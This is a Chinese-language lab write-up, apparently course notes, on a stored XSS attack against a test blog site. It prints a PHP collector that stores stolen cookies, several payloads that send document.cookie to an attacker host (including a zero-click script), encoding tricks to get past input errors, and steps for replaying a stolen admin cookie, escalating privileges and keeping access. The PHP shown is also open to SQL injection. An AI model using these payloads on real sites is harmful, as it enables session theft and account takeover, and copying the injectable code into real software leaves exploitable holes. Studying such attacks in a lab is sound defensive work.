一、开发XSS服务器端
1、确认实验环境
攻击者服务器:192.168.112.183,将获取到Cookie数据保存到该服务器的数据库中,运行PHP代码暴露一个接收Cookie的URL地址。
正常Web服务器:192.168.112.188,用于正常的用户访问的目标站点,用户可以在上面阅读或者发表文章。
用户浏览器:192.168.112.1,Windows环境,使用Chrome浏览器。
攻击者浏览器:192.168.112.1,Windows环境,使用Firefox浏览器。
2、创建数据表xssdata
3、编写服务器接收代码
<?php
$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['url'];
$cookie = $_GET['cookie'];
$conn = new mysqli('127.0.0.1','root','root','learn') or die("数据库连接不成功.");
$conn->set_charset("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);
//echo "<script>history.back();</script>";
//echo "<script>location.href='http://woniunote.com/'</script>";
?>
将这段代码保存到Kali的/var/www/html目录下,创建一个xssrecv.php文件,并将这段代码保存进去,然后开启Kali的nginx服务
接下来我用老师的电脑进行实验
http://192.168.112.183/xssrecv.php?url=http://192.168.112.188/security/read.php?id=4&cookie=hohjoi289lkh324
我们先去测试一下上面所写的url地址,执行了之后看看数据表里面有没有数据,发现有数据,说明我们这个xssrecv.php这个代码是可以进行正常工作的
我们现在在构建好的XSS漏洞环境中发表文章,在文章的内容里面插入一段JS代码
<a href="javascript:http://192.168.112.183/xssrecv.php?url="+location.href+"&cookie="+document.cookie><img src="http://192.168.112.183/dateme.gif"/></a>
然后我们测试一下我们构建的JS代码是不是有效的
通过下面的代码进行测试
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatiable" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-sacle=1.0">
<title>Document</title>
<!--<script>
document.write('你的用户名密码不正确,请重新登录');
setTimeout(function(){
location.href='https://www.tapbao.com';},
3000);
</script> -->
</head>
<body>
<a href="javascript:http://192.168.112.183/xssrecv.php?url="+location.href+"&cookie="+document.cookie><img src="http://192.168.112.183/dateme.gif"/></a>
</body>
</html>
然后去访问这个文件,发现给我们回显的浏览器内容是空白的,F12也不会给我们报错,如果我们构造正确的话,会回显一张图片,但现在啥都没有,说明我们构造错误
接下来我们去检查一下到底是哪个部分出现了问题
我们将href那儿写成xxxx,暂且代替一下,看看图片有没有出问题
发现给我们回显图片了,说明我们图片那的js代码是对的,前面的那一部分写错了
经过我们的反复构造,成功构造出了正确的JS代码,如下所示:
<a href='javascript:location.href="http://192.168.112.183/xssrecv.php?url="+location.href+"&cookie="+document.cookie'><img src="http://192.168.112.183/dateme.gif"/></a>
现在能够正常的给我们回显一张图片了,说明JS代码构造成功
点击这张图片,发现已经跳转到了蜗牛笔记,说明成功了
我们在点击图片的时候就已经将数据都给删除了,然后查看数据库里的xssdata表里,发现有数据了 ,成功
然后将我们测试好的JS代码放入到文章里面
提交的时候发现发表失败
是单引号出现了问题,因为我们构建的JS代码里边有单引号,就在那个href后边,然后我们的发表文章的那个代码上的content的单引号闭合了,形成了一个错误的SQL语句,所以会给我们提示发表失败,看下图(实现发表文章的代码,这个代码里面有SQL注入漏洞,但我们只是为了学习XSS去构建一个比较简单的环境,但真实环境不能这么干)就能够理解
<?php
include "common.php"; //引入公共函数库
// 获取前端提交的数据和session变量
$headline = $_POST['headline'];
$content = $_POST['content'];
$author = $_SESSION['username'];
// 将文章数据插入数据库,并根据运行结果输出成功与否的标志
$conn = create_connection_oop();
$sql = "insert into learn3(author,headline,content,viewcount,creattime)
values('$author','$headline','$content',1,now())";
$conn->query($sql) or die('add-fail');
echo "add-success";
?>
我们解决的措施就是将我们构造的JS代码中的单引号进行转义,使其不会与发表文章的代码里面的单引号闭合,造成错误
<a href=\'javascript:location.href="http://192.168.112.183/xssrecv.php?url="+location.href+"&cookie="+document.cookie\'><img src="http://192.168.112.183/dateme.gif"/></a>
这时候文章发表成功
然后点击查看这个文章,发现我们的图片没有上传成功
然后我们查看一下源代码,发现我们构造的JS代码不全
我们可以将+和&进行url编码,+进行url编码成为了%2B,&进行url编码成为了%26
然后我们又构造出了一条JS代码
<a href=\'javascript:location.href="http://192.168.112.183/xssrecv.php?url="%2Blocation.href%2B"%26cookie="%2Bdocument.cookie\'><img src="http://192.168.112.183/dateme.gif"/></a>
然后点击提交,然后点开我们的新发的文章,发现图片能够显示在页面上了
然后查看源代码,发现+和&能够正常显示在源代码中
然后点击图片,能够正常的跳转到网站
然后我们去查看xssdata这个表,发现已经成功收到数据,url和cookie我们都已经得到啦
然后我们将浏览器的缓存给清除了
然后我们去访问list.php,发现需要重新登录,又会得到一个不一样的Cookie
list.php代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatiable" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-sacle=1.0">
<title>文章列表</title>
<style>
table{
width : 800px;
margin : auto;
border : solid 1px gray;
border-spacing: 0px;
}
td{
border : solid 1px gray;
height : 40px;
}
</style>
<script>
function doDelete(articleid){
if(!window.confirm("你确定要删除该文章吗?")){
return false;
}
//window.alert(articleid);
$.post('delete.php','articleid='+articleid,function(data){
if(data == 'delete-ok'){
window.alert('删除成功');
//location.href = "list.php";
location.reload(); //刷新当前页面
}
else{
window.alert('删除失败' + data);
}
});
}
</script>
</head>
<body>
<table>
<tr>
<td>编号</td>
<td>作者</td>
<td>标题</td>
<td>次数</td>
<td>时间</td>
<td>操作</td>
</tr>
<?php
include "common.php";
if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
die("请先登录.<a href='login.html'>点此登录</a>");
}
$conn = create_connection();
$sql = "select articleid,author,headline,viewcount,creattime from learn3";
$result = mysqli_query($conn,$sql);
//将数据库查询的结果集中的数据取出,保存到一个数组中
$rows = mysqli_fetch_all($result);
//遍历结果集数据并在表格中展示
foreach($rows as $row){
echo '<tr>';
echo '<td>' . $row[0] . '</td>';
echo '<td>' . $row[1] . '</td>';
echo '<td><a href="read.php?id=' . $row[0] . '">' . $row[2] . '</a></td>';
echo '<td>' . $row[3] . '</td>';
echo '<td>' . $row[4] . '</td>';
//echo '<td><button onclick="doDelete('.$row[0].')">删除</button></td>';
echo '<td><button onclick="doDelete('.$row[0].')">删除</button><button>编辑</button></td>';
echo '</tr>';
}
mysqli_close($conn);
?>
</table>
<br><hr><br>
<div style="width: 100%; margin:auto; text-align:center;"><a href="add.php">发表文章</a></div>
</body>
</html>
然后我们成功登录上去,进入到了列表当中
然后点击我们最新上传的文件,然后再点击里面的图片,查看数据库中的xssdata,我们又得到了一条数据,这时候的Cookie就和之前的不一样了,因为我们清除了我们的登录状态,而Cookie是根据状态进行设置的,每次登录的时候的Cookie是不一样的
那万一用户不想点击怎么办,或者根本没有诱惑力去使用户点击
我们构造了一个新的JS代码
这个JS脚本在页面加载的时候就可以执行,这个是无感的,用户也不需要去点击就能够执行了,自己就把这个请求给发出去了
<script>
new Image().src = "http://192.168.112.183/xssrecv.php?url=" + location.href + "&cookie=" + document.cookie;
</script>
我们去测试一下这个脚本,发现页面中什么都没有
然后数据就已经到达了我们的数据库里面了
再刷新一下,发现又有新的数据了
然后我们再继续进行发表文章的操作,将JS脚本插入到内容里面去,将+和&修改为%2B和%26,然后提交文章
然后点进去这个文章,啥都不用干,页面正常显示
然后查看数据库,发现多了一条数据,就是我们点开文章的那一瞬间发的
到攻击者的浏览器上去,访问最新传上去的数据
然后我们发现需要登录,没有登录就访问不了我们最新提交的文章
这里我们开始使用工具,就是live HTTP headers
然后抓到一个请求,将我们收集到的Cookie给复制上去
然后点击replay,就能够读取这个文章了
我们如果要读其他文章的话,操作和上面的是一模一样的,只要我们收集到了对应的Cookie,就能够成功读取
如果用户发现这个网站不对劲,让负责该网站的管理员去查查
我们先在用户表里设置一个管理员,将admin设置为manager
我们先到add.php这个页面中去,发现用户名是woniu,角色是editor,之所以显示的是这个账号,是因为我们使用的本账号的Cookie
然后管理员接到用户的消息之后,赶快用自己的账号登录进去,找到了用户所说的有漏洞的文章,然后点击进去,管理员的Cookie也到了我们的数据库里面去了
我们用我们获取到的管理员的Cookie在我们攻击者的服务器上replay一下,发现已经变成了admin超级管理员了,我们也就有了超级管理员的权限,不但越了权,还成功提权
管理员发现源代码中有JS恶意代码,得去数据库里或者后台把这一个恶意代码给删除了,这个过程起码要持续几分钟,在这几分钟里面,我们可以使用管理员的权限进管理后台,创建一些用户,甚至写数据库,写入木马或者使用管理员的超级权限再创建一个管理员等等之类的方法去维持权限
如果用户一旦手动注销,或者Cookie/Session过期,则攻击者也将同步过期,无法继续使用,因为这个Cookie/Session在后台服务器已经失效了,所以我们要抓住那几分钟的窗口,为我们的权限维持做准备
同样这个JS代码也是可以的,这里就不进行测试了
<img src="http://192.168.112.183/dateme.gif" onclick=\'location.href="http://192.168.112.183/xssrecv.php?url=" + location.href + "&cookie=" + document.cookie\' />